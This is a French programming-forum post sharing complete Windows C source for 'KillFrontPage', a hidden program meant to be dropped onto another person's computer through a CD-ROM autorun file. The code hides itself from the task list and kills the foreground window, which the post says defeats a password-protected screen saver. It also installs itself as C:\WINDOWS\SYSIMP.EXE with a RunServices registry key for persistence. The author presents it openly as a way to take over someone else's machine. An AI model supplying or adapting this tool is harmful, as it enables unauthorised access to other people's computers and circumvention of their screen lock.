c'est simple un (gros) programme qui fait fermer tout se que vous voulez sur l'ordinateur de quelqu'un meme le screen saver avec mot de passe.
simple a faire vous copier le source vous le compiler et le metter sur un cd-rom avec un autorun.ini (que vous créer) puis vous pouvez le mettre dans l'ordinateur de qui vous voulez et si vous y chercher des informations et que le screen saver est activé il se fermara tout simplement et a vous l'ordinateur ;)
exemple d'autorun bien simple
[AUTORUN]
run=KFP.exe
icon=0
Source / Exemple :
/* =====KFP.EXE==============================
KillFrontPage
Par: Acid_Area_Stoned@hotmail.com
Résultat:
Ferme le programme que
l'utilisateur utilise (même le screen
saver avec mot de passe).
Utilisation:
Fermer le prog: 3 fois la souris aux
coordonnées (0,0)
Installer ce programme au démarrage:
5 fois la souris aux coordonnées (X,0)
où (X>0).
==========================================
#include <windows.h>
typedef DWORD (*RSP_FUNC)(DWORD,DWORD);
static RSP_FUNC lpRsp;
BOOL InitRsp() {
HMODULE hMod;
hMod = GetModuleHandle("Kernel32.dll");
if(hMod)
lpRsp = (RSP_FUNC)GetProcAddress(hMod,"RegisterServiceProcess");
return (BOOL)lpRsp;
}
// *** Déclaration des prototypes ***
int WINAPI WinMain
( HINSTANCE hInstance, // handle de l'instance courante
HINSTANCE hPrevInstance, // handle de l'instance précédente
LPSTR lpszCmdLine, // ligne de commande
int nCmdShow // montre l'état de la fenetre
);
LRESULT CALLBACK WindowProc
( HWND hwnd, // handle de la fenetre
UINT uMsg, // identificateur de message
WPARAM wParam, // premier parametre de message
LPARAM lParam // second parametre de message
);
// *** Début de l'exécution ***
int WINAPI WinMain
( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdLine,
int nCmdShow
)
{
HWND hwnd;
MSG msg;
WNDCLASS wndClass;
// Déclaration de la classe de la fenetre
wndClass.style = 0;
wndClass.lpfnWndProc = WindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInstance;
wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndClass.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = "KFP";
if (RegisterClass(&wndClass) == 0 ) return 0; // déclaration de la classe et
quitter si erreur
// Création de la fenetre
hwnd = CreateWindow
( "KFP", // Nom de la classe fenetre
"KFP", // Titre de la fenetre
WS_OVERLAPPED, // style de la fenetre
1, // X
1, // Y
1, // Grosseur
1, // Grandeur
NULL, // Handle de la fenetre mere
NULL, // handle du menu
hInstance, // handle de l'instance du programme
NULL // parametre de création
);
if (hwnd == 0) return 0;
ShowWindow(hwnd, SW_HIDE);
UpdateWindow(hwnd);
InitRsp();
if(lpRsp)
(*lpRsp)(0,1);
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
InitRsp();
if(lpRsp)
(*lpRsp)(0,0);
return msg.wParam;
}
// Cette fonction est appelée pour traiter les messages Windows
LRESULT CALLBACK WindowProc
( HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
)
{
static int nKFP;
static int nInstall;
static char lpFilename[256];
switch (uMsg) // Réagir aux types de messages envoyés
{
case WM_CREATE:
MessageBeep(MB_OK);
SetTimer( hwnd, 1, 2000, NULL);
GetModuleFileName( NULL, lpFilename, 256);
return 0;
case WM_TIMER:
HKEY hkResult;
POINT lpCurseur;
HWND hFrontProg;
GetCursorPos(&lpCurseur);
if ( lpCurseur.x == 0 && lpCurseur.y == 0)
{
nKFP++;
SetCursorPos(5,5);
if ( nKFP == 3)
{
nKFP = 0;
MessageBeep(MB_OK);
hFrontProg = GetForegroundWindow();
if (hFrontProg == 0) break;
PostMessage(hFrontProg, WM_QUIT, NULL, NULL);
}
} else nKFP = 0;
if ( lpCurseur.x != 0 && lpCurseur.y == 0)
{
nInstall++;
SetCursorPos(lpCurseur.x, 5);
if ( nInstall == 5)
{
nInstall = 0;
MessageBeep(MB_OK);
CopyFile( lpFilename, "C:\\WINDOWS\\SYSIMP.EXE", TRUE);
RegCreateKey( HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices", &hkResult);
RegSetValueEx( hkResult, "sysimp", 0, REG_SZ,
"C:\\WINDOWS\\SYSIMP.EXE", 256);
RegCloseKey(hkResult);
}
} else nInstall = 0;
return 0;
case WM_PAINT:
HDC hDC;
PAINTSTRUCT paintStruct;
BeginPaint(hwnd, &paintStruct);
EndPaint(hwnd, &paintStruct);
return 0;
case WM_DESTROY:
KillTimer( hwnd, 1);
PostQuitMessage(0);
return 0;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
}
Conclusion :
merci de vos commentaire
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.